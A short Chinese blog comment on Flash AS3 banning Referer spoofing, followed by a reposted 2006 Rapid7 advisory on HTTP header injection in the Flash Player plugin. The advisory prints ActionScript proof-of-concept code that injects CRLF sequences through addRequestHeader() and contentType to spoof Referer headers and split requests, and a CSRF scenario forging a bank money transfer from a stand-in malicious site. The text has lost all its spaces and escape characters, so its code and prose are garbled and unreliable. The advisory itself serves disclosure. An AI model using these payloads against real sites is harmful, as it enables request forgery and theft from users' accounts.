作为未来RIA的主角FLASH，在安全方面做得越来越出色了。
在AS3中我惊奇地发现啊adobe居然把Referer伪造给禁止了！！！
ArgumentError:Error#2096:HTTP请求标头Referer不能通过ActionScript设置。
atflash.display::Loader/flash.display:Loader::_load()
atflash.display::Loader/load()
atTimeline0_e150d995f3cf54ba89046e1dff0add1/::frame1()
干得不错！！！
--------------------------------------------------------------------------------
Rapid7,LLCSecurityAdvisory
Visithttp://www.rapid7.com/todownloadNeXpose,
SCMagazineWinnerofBestVulnerabilityManagementproduct.
_______________________________________________________________________
Rapid7AdvisoryR7-0026
HTTPHeaderInjectionVulnerabilitiesintheFlashPlayerPlugin
Published:Oct17,2006
Revision:1.0
http://www.rapid7.com/advisories/R7-0026.jsp
1.AffectedSystem(s):
KNOWNVULNERABLE:
oFlashPlayerplugin9.0.16(forWindows)
oFlashPlayerplugin7.0.63(forLinux)
PROBABLYVULNERABLE:
oEarlier9.0.xand7.0.xversions
o8.0.xversions
KNOWNFIXED:
oFlashPlayerpluginBETAversion9.0.18d60(forWindows)
2.Summary
TwoHTTPHeaderInjectionvulnerabilitieshavebeendiscoveredbyRapid7
intheFlashPlayerplugin.Theyallowattackerstoperformarbitrary
HTTPrequestswhilecontrollingmostoftheHTTPheaders.Thiscanmake
iteasiertoperformCSRFattacks[2]insomecases.WhentheHTTP
serverimplementsKeep-AliveconnectionsandwhenFirefoxisused,these
FlashvulnerabilitiescanevenbeusedtoperformtotallyarbitraryHTTP
requestswhereeverypartiscontrolledbytheattacker:HTTPmethod,
URI,HTTPversion,headers,anddata.SuchattacksmakeuseoftheHTTP
RequestSplittingmethod.
3.VendorStatusandInformation
AdobeSystems,Inc.
http://www.adobe.com
Sep18,2006
Adobeacknowledgesreceptionofthevulnerabilitydetails.
Sep29,2006
Adoberespondswithproposeddatesforafixlaterthisyear.
Oct5,2006
AdobereleasesafixedBETAversionofFlash9forWindows(version
9.0.18d60,releasefilesarenamedbeta_100406).
Oct17,2006
Advisoryispublishedafterexpirationofthe30-daygraceperiod
grantedtoAdobetofixanddisclosethevulnerabilities.
4.Solution
UsedthefixedBETAversion(9.0.18d60).Onlyallowtrustedwebsitesto
useFlash.DisableoruninstalltheFlashplugin.UsealternativeFlash
plugins(GplFlash,Gnash).
5.DetailedAnalysis
Thevulnerabilitiesdescribedhereafterhavebeensuccessfullytested
withthelatestversionsofFlashavailableforvariousplatformsasof
2006/09/06,andwithmultiplecombinationsofbrowser/OS:
oIE6SP2(akaIE6SV1)forWindows,withFlashplugin9.0.16
oFirefox1.5.0.6forWindows,withFlashplugin9.0.16
oFirefox1.5.0.6forLinux,withFlashplugin7.0.63
5.1.XML.addRequestHeader()Vulnerability
FlashfeaturesascriptinglanguagecalledActionScript.ActionScript
comeswithacertainnumberofstandardclassesavailabletoFlash
developers.Inparticular,thesend()methodoftheXMLobjectcanbe
usedtosendXMLdocumenttreestoarbitraryURLsusing,bydefault,a
POSTrequest.This,initself,isnotavulnerability;theXML.send()
methoddefinitelycomplieswiththeFlashsecuritymodel[4].
HoweveranothermethoddefinedintheXMLclass,addRequestHeader(),can
beusedtoaddarbitraryHTTPheaderstotherequestperformedbyFlash.
Itsintendedusageis:
varreq:XML=newXML('test');
req.addRequestHeader("X-My-Header","42");
req.send("http://host/path");
Whencallingreq.send("http://host/path"),suchaPOSTrequestwouldbe
submittedto'host'(commonHTTPheadersthatdonotmattertousin
thisexamplehavebeenremovedforbrevity):
POST/pathHTTP/1.1
Host:host
Referer:(referer)
Content-type:application/x-www-form-urlencoded
X-My-Header:42
Content-Length:4
test
Forsecurityreasons,Flash9doesnotletdevelopersuse
addRequestHeader()tosetheaderssuchasHost,Referer,or
Content-Length.
Butthereisawaytogetaroundthissecurityrestriction:the
addRequestHeader()methoddoesnotsufficientlysanitycheckitstwo
arguments.Thismakesitpossibletoinjectarbitraryheaders:
req.addRequestHeader("Referer:http://anywherernX-foo","bar");
WithIE,arequestcontainingonlythefakeRefererissent:
POST/pathHTTP/1.1
Host:host
Referer:http://anywhere
Content-Type:application/x-www-form-urlencoded
X-foo:bar
Content-Length:4
test
WithFirefox,arequestcontainingboththerealRefererandthefake
oneissent:
POST/pathHTTP/1.1
Host:host
Referer:(realreferer)
Content-type:application/x-www-form-urlencoded
Referer:http://anywhere
X-foo:bar
Content-Length:4
test
Forthisattacktowork,thefirstargumentofaddRequestHeader()must
notcontainanyspace(ASCII0x20)elsetheFlashpluginappearsto
ignoretheaddRequestHeader()call.Thisisabsolutelynotaproblemin
real-worldattackscenarios,becausethespacecharacterusuallypresent
beforetheReferervalueisoptional(seeRFC2616[5],section"4.2
MessageHeaders").
ItisinterestingtonotethatIEseemstopost-processtheheaders
generatedbyFlashbeforesendingthemtotheHTTPserver.Indeed,IE
diligentlyremovestherealReferertousetheFlash-generatedone,and
itevenautomaticallyaddstheoptionalspacecharacterbeforethefake
Referervalue.
Ofcourseanycookiethatwouldbeassociatedwith'host'wouldbe
automaticallysentalongwiththerequest,whichisanothergoodthing
forattackers.
Fortotalcontrolofthegeneratedrequest,whentheserversupports
keep-aliveconnectionsandwhenFirefoxisused,itispossibletouse
theHTTPRequestSplittingmethodtoinsertanotherHTTPrequest:
req.addRequestHeader("Content-Length:0rnrn"+
"POSTt/anotherpathtHTTP/1.1rn"+
"Host:hostrn"+
"Referer:fakedrn"+
"User-Agent:fakedrn"+
"Content-Type:fakedrn"+
"Content-Length:3rn"+
"rn"+
"foon",
"bar");
ThisgenerateswhatFirefoxthinksisonerequest,whileinfactthe
serverinterpretsitastwoseparaterequestsbecauseofthefake
"Content-Length:0"header:
POST/pathHTTP/1.1
Host:host
Keep-Alive:300
Connection:keep-alive
Referer:(realreferer)
Content-type:application/x-www-form-urlencoded
Content-Length:0
POST/anotherpathHTTP/1.1
Host:host
Referer:faked
User-Agent:faked
Content-Type:faked
Content-Length:3
foo
:bar
Content-length:4
test
Tabs(ASCII0x09)havetobeusedaroundtheURI("/anotherpath")
insteadofspaces(ASCII0x20)else,asexplainedabove,Flashignores
theaddRequestHeader()call.Butotherthanthisminorinconvenient,
prettymuchanyothercharactercanbesent,absolutelynothingis
URL-encoded,whichgivesplentyoffreedomtoattackers.
Theunwanteddataafter"foo"(":barrnContent-length:4rnrntest")
donotcreateanyproblematalleither.Becausetheattacker-controlled
"Content-Length:3"headertakescareofinstructingtheservertoignore
anysubsequentdata.
WhentryingtousethisHTTPRequestSplittingmethodwithIE,itfails
withageneric"Thepagecannotbedisplayed"error.Thisisprobably
duetothefactthatwhenIEpost-processestheheaders(asexplained
previously),itmessesupthemanuallybuiltHTTPrequestandendsup
withsomethingthatdoesn'tlooklike2validrequestsatall.In
particular,whatseemstotriggerthiserroristheCRLFCRLFsequence
separatingtheheadersfromthebody.Thisissuehasnotbeen
investigatedanymore.Moreresearchisnecessarytodetermineif
exploitingIEthiswayispossible.
ItshouldbepointedoutthatthisnewFlash9XML.addRequestHeader()
vulnerabilityissimilartoother,previouslyreportedvulnerabilities
inFlash7&8affectingtheLoadVarsclass,asexplainedinthis
BugtraqpostingfromAmitKlein[1].So,inacertainway,thisnew
vulnerabilityre-opensapathofexploitationthatwasavailableto
attackersinFlash7&8.
5.2.XML.contentTypeVulnerability
TheXMLclassdefinesthecontentTypeattribute,whichcanbesetby
Flashdevelopers,e.g.:
req.contentType="text/plain";
Theexactsamevulnerabilitythantheonedescribedintheprevious
sectionalsoexistsforthisattribute:Flashdoesnotcheckthe
validityofitsvaluebeforebuildingtheHTTPrequest.Itispossible
toexploititinthesamewaythataddRequestHeader()isused:
req.contentType="text/plainrnReferer:anything";
ContrarytoaddRequestHeader(),Flashallowsspaces(ASCII0x20)tobe
usedinthisstring.
5.3Consequence
Theconsequenceofthesevulnerabilitiesisthatattackershavealot
morecontrolontheheadersthatgetsentalongwithHTTPrequests,
comparedtowhatiscommonlythoughtpossible.InparticulartheHost,
Referer,andUser-Agentheaderscanbespoofed.Itisevenpossibleto
voluntarilygeneratemalformedHTTPrequeststoo,whentheHTTPRequest
Splittingmethodisused.
Butwhencombinedwithotherflaws,suchasXSSorCSRF,theseFlash
vulnerabilitiesbecomeahandytooltoexploitthem.Thenextsection
describesaCSRFattackscenario.
6.ExploitationExample
6.1.DescriptionofCSRFAttacks
ACross-SiteRequestForgery(CSRF)isaformofattackwherea
malicioussiteAexploitsthetrustasiteBhasinauserbyforgingan
HTTPrequestandsendingittositeB,whichseesitascomingfromits
trusteduser.See[2]foramoredetailleddescriptionofCSRFattacks.
TheFlashvulnerabilitiespresentedabovecanhelpattackersforgesuch
HTTPrequests.
MultipleapproachesexisttopreventCSRFattacks,offeringvarying
levelsofprotection.ForexamplerequiringPOSTrequestsinsteadofGET
requestsisaverypoorwaytoprotectagainstthem.Othertimes,the
protectionchosenbywebsitedevelopersistocheckfortheHTTP
Referer.TheassumptionisthatspoofingtheRefererheaderismuch
harder,butnotimpossible.TheseFlashvulnerabilitiesareableto
spoofit.
AmuchbetterwaytoprotectagainstCSRFattacksistorequiretheuse
ofasecurityhash,asdescribedin[3].
6.2.AttackScenario
Let'ssayamaliciousattackerisabletoconvinceausertovisithis
maliciouswebsitehttp://malicious.Theintentoftheattackeristo
performaCSRFattackagainsttheuser'sbankwebsitehttps://bankto
silentlytransfermoneyfromtheuser'saccounttotheattacker's
account.Thisattackassumesthat(1)thebankusesSSL/TLS(HTTPS)
combinedwithcookie-basedauthentication,(2)checkstheRefererheader
topreventCSRFattacks(hopefullynobankisdoingthis),and(3)that
amoneytransferordercanbeinitiatedviasuchanHTTPrequest:
POST/xfer.cgiHTTP/1.1
Host:bank
Referer:https://bank/index.html
Cookie:...
Content-Type:application/x-www-form-urlencoded
Content-Length:63
from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
TheattackalsoassumestheuserisusingFirefox,becausewearegoing
tousetheCRLFCRLFsequencewithaddRequestHeader()toinsertthe
HTTPbodydata(asexplainedinsection1.1thissequencedoesnotwork
withIEforanunknownreason).
WehavetoinserttheHTTPbodyusingaddRequestHeader()becausethis
waythebodydoesn'tgetURL-encodedbyFlash(itisURL-encodedwhen
passedasastringtotheXML()constructor).
AndwehavetopreventURL-encodinginordertopreservetheampersands
("&")presentinthebody("from=...&to=...").
So,inordertoperformtheattack,theattackerwouldhavetoplacea
Flashmovieonhttp://maliciouscontainingthisActionScriptcode:
varreq:XML=newXML('x');
req.addRequestHeader(
"Referer:https://bank/index.htmlrn"+
"Content-Length:63rn"+
"rn"+
"from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transferrn",
"y");
req.send("https://bank/xfer.cgi");
Then,whentheuserwouldvisithttp://malicious,assuminghisbrowser
stillownsanunexpiredcookiefromthebank,thisrequestwouldbesent
viaHTTPS(XML.send()allowsanHTTPsitetosenddataoverHTTPS):
POST/xfer.cgiHTTP/1.1
Host:bank
Referer:http://malicious
Cookie:(bankcookie)
Content-type:application/x-www-form-urlencoded
Referer:https://bank/index.html
Content-Length:63
from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
:y
Content-length:1
x
Andtheattackwouldsucceed,despiteSSL/TLS,despitethecookieauth,
anddespitetheReferercheck(iftheapplicationservertakesinto
accountthesecondReferer).
IfURL-encodingoftheHTTPbodyisacceptable,thenIEcanbetargetted
bynotusingtheCRLFCRLFsequence,thenonlyoneRefererwouldbe
presentintheheaders.
7.Credits
ThisvulnerabilitywasdiscoveredbyMarcBevandofRapid7.
8.ContactInformation
Rapid7,LLC
Email:advisory@rapid7.com
Web:http://www.rapid7.com
Phone:+1(310)316-1235
9.DisclaimerandCopyright
Rapid7,LLCisnotresponsibleforthemisuseoftheinformation
providedinoursecurityadvisories.Theseadvisoriesareaserviceto
theprofessionalsecuritycommunity.ThereareNOWARRANTIESwithregard
tothisinformation.Anyapplicationordistributionofthisinformation
constitutesacceptanceASIS,attheuser'sownrisk.Thisinformation
issubjecttochangewithoutnotice.
ThisadvisoryCopyright(C)2006Rapid7,LLC.Permissionishereby
grantedtoredistributethisadvisory,providingthatnochangesare
madeandthatthecopyrightnoticesanddisclaimersremainintact.
10.Footnotes
[1]http://www.securityfocus.com/archive/1/441014/30/0/threaded
[2]http://en.wikipedia.org/wiki/Csrf
[3]http://www.squarefree.com/securitytips/web-developers.html
[4]TheFlashsecuritymodelallowsSWFfilestoperformXML.send()
requeststootherdomains,becausethismethodcanonlybeusedto
sendrequests(andnotreceivetheassociatedresponses,whichcould
besensitive/privatedata).This,plusthefactthatFlashenforces
otherrestrictions(suchaspreventingtheoverwritingofsomeHTTP
headers),explainswhythesecuritymodelallowscross-domain
XML.send()requests.
[5]RFC2616-HypertextTransferProtocol--HTTP/1.1
ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt